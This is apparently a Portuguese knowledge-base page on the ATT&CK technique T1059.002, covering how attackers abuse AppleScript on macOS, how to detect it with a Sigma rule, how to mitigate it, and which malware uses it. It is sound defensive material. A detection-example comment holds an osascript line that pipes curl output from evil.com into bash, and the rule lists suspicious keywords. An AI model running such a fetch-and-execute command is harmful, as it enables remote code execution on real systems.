# T1059.002 - AppleScript ## Técnica Pai Esta é uma sub-técnica de [[t1059-command-and-scripting-interpreter|T1059 - Command and Scripting Interpreter]]. ## Descrição AppleScript é uma linguagem de script nativa do macOS criada pela Apple para automatizar tarefas e controlar aplicações por meio de mensagens chamadas AppleEvents. Adversários abusam do AppleScript para executar ações maliciosas no sistema de forma programática - aproveitando uma linguagem que é parte integrante do sistema operacional e, portanto, frequentemente ignorada por soluções de segurança tradicionais. Os scripts podem ser executados de várias formas: via linha de comando com `osascript /caminho/para/script.scpt` ou `osascript -e "script aqui"`, por regras de e-mail no Mail.app, alarmes no Calendar.app, fluxos de trabalho no Automator, ou até mesmo embutidos em binários mach-O que chamam as APIs nativas `NSAppleScript` ou `OSAScript`. Essa versatilidade torna o AppleScript um vetor de execução difícil de monitorar de forma centralizada. A partir do macOS 10.10 (Yosemite), o AppleScript ganhou a capacidade de chamar APIs nativas do sistema diretamente - o que antes exigia compilar e executar código em C ou Swift. Isso permite que scripts em texto puro realizem ações de nível de sistema, como criar conexões de rede, manipular processos, apresentar caixas de diálogo falsas para roubo de credenciais, e até lançar shells reversos em combinação com [[t1059-006-python|Python]] ou outros interpretadores disponíveis no macOS. A técnica também é usada para interagir com sessões SSH abertas e executar comandos em máquinas remotas. **Contexto Brasil/LATAM:** Embora o macOS tenha participação de mercado menor que o Windows na região, ele é predominante em empresas de tecnologia, agências de publicidade, startups, ambientes corporativos premium e escritórios de advocacia e finanças. Campanhas direcionadas a usuários de Mac no Brasil têm usado AppleScript embutido em adware e malware de engenharia social - em especial loaders como [[s0482-bundlore|Bundlore]] e stealers como [[s1153-cuckoo-stealer|Cuckoo Stealer]] - para executar payloads após comprometimento inicial via download malicioso ou phishing. ## Attack Flow ```mermaid graph TB A[Acesso inicial<br/>Phishing, download malicioso, app trojanizado] --> B[Entrega do payload<br/>script AppleScript embutido ou solto em disco] B --> C[T1059.002 - APPLESCRIPT<br/>osascript -e / NSAppleScript / .scpt via Automator] C --> D1[Caixa de diálogo falsa<br/>roubo de senha do usuário] C --> D2[Download de segundo estágio<br/>via curl ou Python] C --> D3[Interação com app aberto<br/>manipulação de dados ou SSH] D1 --> E[Escalada de privilégio<br/>credencial capturada] D2 --> E D3 --> F[Movimentação lateral<br/>por sessão SSH existente] ``` ## Como Funciona 1. **Preparação** - O adversário prepara um script AppleScript que realiza a ação desejada: abrir um shell reverso, exibir um prompt de senha falso, interagir com um app específico ou baixar um payload de segundo estágio. O script pode ser distribuído como arquivo `.scpt`, `.applescript` ou embutido como string em um binário ou instalador. 2. **Execução** - O script é executado via `osascript` na linha de comando, chamado por outro malware como um stager, acionado por uma regra de automação (Mail, Calendar, Automator) ou invocado por um binário que usa as APIs `NSAppleScript` ou `OSAScript` - sem necessáriamente chamar `osascript` no processo, dificultando a detecção baseada em nome de processo. 3. **Pós-execução** - Dependendo do objetivo, o adversário captura credenciais exibidas em prompts falsos, executa comandos via shell, exfiltra dados, ou usa a sessão SSH aberta para se mover lateralmente. O malware [[s0281-dok|Dok]] e o [[s0595-thiefquest|ThiefQuest]] são exemplos conhecidos que usaram AppleScript para exfiltração e persistência em campanhas reais. **Exemplo de artefato de detecção:** ```bash # Execução suspeita de osascript fora de contexto administrativo: # process: osascript # args: -e "do shell script \"curl -s http://evil.com/payload | bash\"" # # Ou invocação via NSAppleScript em binário não assinado: # process: <binary não identificado> # dylib: AppleScript.framework carregado em memória ``` ## Detecção **Fontes de dados:** Unified Log do macOS (`log stream --predicaté 'process == "osascript"'`), logs do Endpoint Security Framework (ESF), auditoria de processos via OpenBSM (auditd), eventos de EDR macOS, Console.app com filtros de processo. ```yaml title: Execução Suspeita de AppleScript via osascript id: c9e4f5a6-1b23-4d56-b7c8-e9f0a1b2c345 status: experimental description: > Detecta execuções de osascript com argumentos inline (-e) em contexto suspeito, padrão comum em abuso de AppleScript para execução de comandos de shell, download de payloads ou apresentação de prompts falsos. logsource: category: process_creation product: macos detection: selection: Image|endswith: '/osascript' CommandLine|contains: - '-e' suspicious_content: CommandLine|contains: - 'do shell script' - 'curl' - 'bash' - 'python' - 'password' - 'keystroke' filter_admin: ParentImage|startswith: - '/Applications/' - '/System/' condition: selection and suspicious_content and not filter_admin falsepositives: - Scripts de automação legítimos de TI (Jámf, Munki, scripts de deploy) - Desenvolvedores testando automação local level: high tags: - attack.execution - attack.t1059.002 ``` ## Mitigação | Mitigação | Recomendação Prática | |-----------|---------------------| | [[m1045-code-signing\|M1045 - Code Signing]] | Exigir que scripts AppleScript e aplicações sejam assinados com certificado válido da Apple Developer ID. Habilitar o Gatekeeper no modo mais restritivo (`spctl --master-enable`) para bloquear scripts não assinados. Em ambientes corporativos gerenciados (MDM/Jámf), usar perfis de configuração para impedir execução de scripts de fontes desconhecidas. | | [[m1038-execution-prevention\|M1038 - Execution Prevention]] | Monitorar e alertar sobre execuções de `osascript` com argumentos inline (`-e`) fora de jánelas de manutenção conhecidas. Usar soluções de EDR com suporte a macOS para monitorar carregamento do `AppleScript.framework` em processos não assinados. Implementar política de Application Control para restringir quais processos podem invocar `osascript`. | ## Software Associado - [[s0281-dok|Dok]] - trojan macOS que usou AppleScript para interceptar tráfego HTTPS e exibir prompts falsos - [[s0595-thiefquest|ThiefQuest]] - ransomware/spyware macOS que usou AppleScript para exfiltração e persistência - [[s0482-bundlore|Bundlore]] - adware/loader macOS que usa AppleScript para interagir com o navegador e instalar extensões maliciosas - [[s1153-cuckoo-stealer|Cuckoo Stealer]] - stealer macOS ativo em 2024 que usa AppleScript para capturar credenciais via prompts falsos - [[s1048-macososaminer|macOS.OSAMiner]] - malware de cryptomining que usa AppleScript compilado para ofuscar e persistir ## Referências *Fonte: [MITRE ATT&CK - T1059.002](https://attack.mitre.org/techniques/T1059/002)*